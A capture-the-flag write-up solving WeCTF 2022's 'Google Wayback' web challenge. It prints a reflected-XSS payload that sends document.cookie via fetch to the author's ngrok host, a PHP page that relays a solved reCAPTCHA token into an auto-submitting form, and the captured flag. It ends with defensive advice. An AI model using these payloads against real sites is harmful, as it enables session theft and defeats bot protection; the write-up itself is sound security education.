Monday, June 20, 2022

WeCTF 2022 - Google Wayback

This is the 3rd edition of WeCTF and this is the only CTF I’m following since the begining - because I started playing in 2020 - and it’s one of my favorites, since I’m a big Web Hacking fan :)

The Challenge

Google Wayback
A copycat site of Google in 2001.

Hint: Do you know Google used to have XSS?
Submit Your Hacking Site here: https://report_url

Source Code: https://storage.googleapis.com/wectf22/google.zip

In this challenge we have a simple php page simulating an old version of the Google Search page.

It’s a XSS challenge. In those kind of challenges, there is an admin bot, which usually have cookies or Local Storage in the domain of the challenge app. The mission is to trigger a XSS in the app, so we can hijack this “protected” information.

Code is really simple, with only two php pages:

  1. index.php: The entry page with initial seach form (image above)
  2. search.php: The seach page, to which we post the seach query (image below).

To solve the challenge, we need to send an URL to the admin bot, that triggers the XSS.

XSS

Since the challenge points directly to an XSS, we must first find it, aaaaand it’s a quite basic flaw, in the search.php page:

<input class="lst" value="<?php echo $_GET["q"]; ?>" />

(Note that i’m ignoring most of the attributes of the input)

This is XSS 101. We don’t have any XSS protection here, like CSP, sanitizers… Let’s just test it.

Let’s put a fetch into play and test it. That’s the payload we want to run in the admin (bot) browser:

<script>
    flag = encodeURIComponent(document.cookie);
    fetch("http://myngrok.ngrok.io/flag?="+flag, {
        "mode": "no-cors"
    });
</script>

Summary

  • Get the document.cookie info where the flag probably is.
  • Send the captured flag to a server in our control - in this case, our ngrok endpoint.
  • The no-cors option means we can send the value but we won’t get the answer, ignoring the CORS policy of the fetch site (in this case, my ngrok endpoint).
    • It is enough, since we only care for the requesting getting there.

We just need to put the (minified) payload below in the search bar.

A"><script>fetch("http://myngrok.ngrok.io/flag?="%2BencodeURIComponent(document.cookie), {"mode": "no-cors"});</script><input class="lst" value="B

(The %2B here is to avoid the + to be interpreted as a space in the query string).

And our ngrok gives:

GET /flag?=__gsas%3DID%3D<SOME_COOKIE_INFO> HTTP/1.1
Host: myngrok.ngrok.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Referer: http://google.us.ctf.so/
X-Forwarded-For: <SOME_IP>
X-Forwarded-Proto: http

Since the search page only accepts POSTs, we just need to create a poisoned form and auto-submit it with our payload.

Easy right? Not that much.

It turns out, the real challenge here is to bypass the captcha, not the XSS.

Captcha

Wait! What?!? Captcha Bypass??? reCaptcha????

That was my first thought here, and I had to take some time to abstract the real problem here: we don’t have to find a flaw in the reCaptcha software to bypass it any case. We just have to bypass ONE SPECIFIC captcha run in a restricted scenario.

Testing

It was a little tricky at first to test it.

"Localhost is not in the list of supported domains for this site key."

I thought I would need to setup some temporary domain and recaptcha account for me to test it.. too much dramatic.

Changing my /etc/hosts to include the challenge domain to 127.0.0.1 was just enough.

127.0.0.1 google.us.ctf.so

Being http (without the secure part), we’re back on the game.

Understanding

To understand what is happening here, let’s check what’s going on the post when we search for string “Some test”.

There’s a g-recaptcha-response with a huge value, obviously generated after choosing the correct images with traffic lights or boats :)

And it handles the captcha response in the beginning of the search.php.

if ($_SERVER['REQUEST_METHOD'] !== "POST") {
    die("no recaptcha");
}

if(!isset($_POST['g-recaptcha-response'])){
    die("no recaptcha");
}
    
$captcha=$_POST['g-recaptcha-response'];

$secretKey = "[REPLACE ME]";
$url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . urlencode($secretKey) .  '&response=' . urlencode($captcha);
$response = file_get_contents($url);
$responseKeys = json_decode($response,true);
if(!$responseKeys["success"]) {
    die("wrong recaptcha");
}
// ...

Summary

  • Allow only POSTs
  • Must have g-recaptcha-response in the body
  • Use some secret-key (that we don’t have) to verify if the response is correct in the captcha API.

Since the domain is “correct”, we’re able to generate the correct response, but we can’t validate it in our local server, because we don’t have the correct secret key.

Problem? No.

Bypass everything

We don’t really need to validate it locally. we just need to send the correct captcha to the admin bot.

Poisoned Form

Since the page only accepts POSTs, we need to craft a poisoned form, that automatically triggers a POST to the search page:

<html>
    <form action="http://google.us.ctf.so/search.php?q=my-search-text" method="POST" name="f" id="search">
        <input type="text" name="q" dir="ltr" value="my-search-text"/>
        <input type="hidden" name="g-recaptcha-response" value="CORRECT-g-recaptcha-response-HERE"/>
        <input type="hidden" name="btnG" value="Google Search"/>
    </form>

    <script>
        frm = document.getElementById("search");
        frm.submit();
    </script>
</html>

Summary

  • This is a form simulating all the values used in the search.php page.
  • The query (q) value is in the querystring and as a form value.
  • There is a placeholder for the correct recaptcha response (we’ll get there).
  • There is a javascript submitting the form automatically.

When the Admin Bot loads this form, it calls the search.php automatically… but we did not solve the captcha yet.

Captcha Bypass

After solving the captcha in our attacker browser, the response is valid for the correct domain for 2 minutes.

This is time enough for sending the poisoned form to the bot with the correct value!

To avoid changing a lot of things manually, I changed my local page to save the g-captcha-response in the server.

if ($_SERVER['REQUEST_METHOD'] !== "POST") {
    die("no recaptcha");
}

if(!isset($_POST['g-recaptcha-response'])){
    die("no recaptcha");
}
    
$captcha=$_POST['g-recaptcha-response'];

file_put_contents('g-recaptcha-response', $captcha);

die($captcha);

Then I send a page (payload.php) to the Admin Bot that loads the saved g-captcha-response and puts it in the correct form input.

<?php

$captcha = file_get_contents('g-recaptcha-response');

while ($captcha == false) {
    sleep(2);
    $captcha = file_get_contents('g-recaptcha-response');
}

?>

<html>
    <form action="http://google.us.ctf.so/search.php?q=my-search-text" method="POST" name="f" id="search">
        <input type="text" name="q" dir="ltr" value="my-search-text"/>
        <input type="hidden" name="g-recaptcha-response" value="<?php echo $captcha; ?>"/>
        <input type="hidden" name="btnG" value="Google Search"/>
    </form>

    <script>
        frm = document.getElementById("search");
        frm.submit();
    </script>
</html>

Note that the loop in the beginning is just to avoid errors if the captcha is not ready when the payload is called.

XSS Fatality

Since we bypassed the captcha protection, let’s move to include our XSS Payload in the query string. The content of the form input is not used, so it can be anything.

Now we have our complete payload.php, inside the rebuilt docker image from the challenge (prove your own poison, shou!).

<?php

$payload = urlencode('A"><script>fetch("http://my-ngrok-url.ngrok.io/flag?="+encodeURIComponent(document.cookie), {"mode": "no-cors"});</script><input class="lst" value="B');

$captcha = file_get_contents('g-recaptcha-response');

while ($captcha == false) {
    sleep(2);
    $captcha = file_get_contents('g-recaptcha-response');
}

?>

<html>
    <form action="http://google.us.ctf.so/search.php?q=<?php echo $payload; ?>" method="POST" name="f" id="search">
        <input type="text" name="q" dir="ltr" value="something"/>
        <input type="hidden" name="g-recaptcha-response" value="<?php echo $captcha; ?>"/>
        <input type="hidden" name="btnG" value="Google Search"/>
    </form>

    <script>
        frm = document.getElementById("search");
        frm.submit();
    </script>
</html>

Exploiting

Let’s guarantee we’re not a bot to our local instance and click on Google Seach to POST and save the captcha response.

Then send our payload with the poisoned form to the Admin Bot.

The following complete payload is generated to the Admin Bot by the payload.php.

<html>
    <form action="http://google.us.ctf.so/search.php?q=A%22%3E%3Cscript%3Efetch%28%22http%3A%2F%2Fmy-ngrok-url.ngrok.io%2Fflag%3F%3D%22%2BencodeURIComponent%28document.cookie%29%2C+%7B%22mode%22%3A+%22no-cors%22%7D%29%3B%3C%2Fscript%3E%3Cinput+class%3D%22lst%22+value%3D%22B" method="POST" name="f" id="search">
        <input type="text" name="q" dir="ltr" value="something"/>
        <input type="hidden" name="g-recaptcha-response" value="03AGdBq25Rrd4D_AlggGkAW6sNiyTnrkygst42GVEe1j0_aayeH1aoP3euNvk8D76jvX22xjf9nYqnG7UwhHLMW78DTeJ0xIVWpMfztadjH_GBdsPl1CAJnkU0AEbIqDb8KsdyHb1Zin5YdOHbb7qFkkZ8HY7x0mePrbeiQmpOgZ_V63sAuXA7c51FZaVUR6_MQCSSKNInojJSDDygQ_aWIKleEh8Hyx_qzM_YQlwlMEFaojizSqRSFE_dz7O8-PLwUQ7tUiL_2X--NRymsIDVUq_fCM0o6nISmbFs7izgZrS3bIfTVmRsGuQVLdag_2aC_Nv0UF7vI0_ZMKievujJRwvWyonjQWtZHrJesqZMONOZZX9Yb_ZBPnpWvgcC7ILwz1pIRrIhcBQCNHYpjKtfnsUVQpuAujiOMktaGPj48dnY79aQw3Eq6FcT1g09L5XAmaUTRlFTQL4pq51p4C6wl2I9YF_f74FHMY3-v7RaEGtB2ts58NzBZJJ4HJHpyhLrALx3HB_7uddJaJivkMRXaq-LeHlTLBGyrQ"/>
        <input type="hidden" name="btnG" value="Google Search"/>
    </form>

    <script>
        frm = document.getElementById("search");
        frm.submit();
    </script>
</html>

Now, relax and wait for our XSS to explode in the Admin Bot and steal his cookies.

Flag

we{50f71c88-955f-48e0-bb57-6fb070a29bdb@y0U_Ha(K3d_g0Ogl3}

Lessons Learned

Bypassing the captcha looked impossible to me at first, but the challenge showed me that bypassing specific scenarios may be enough for specific wins. I had a lot of fun with it.

Preventing

To avoid being hacked by this kind of attack, I would suggest some protections for the Google Search Team:

  • Always use HTTPS and set your cookies Secure.
  • Always use CRSF tokens
    • Avoid those poisoned forms.
  • Using httpOnly cookies, whenever possible.
    • Avoid cookie stealing using document.cookie.
  • SameSite cookies would also probably help.
  • Sanitize your input
    • Protect from XSS.
    • Don’t trust shou.

I’m sure I’m forgetting other important protections here. Send me hints for better security on Twitter.

References

Capture the Flag , Web , Writeup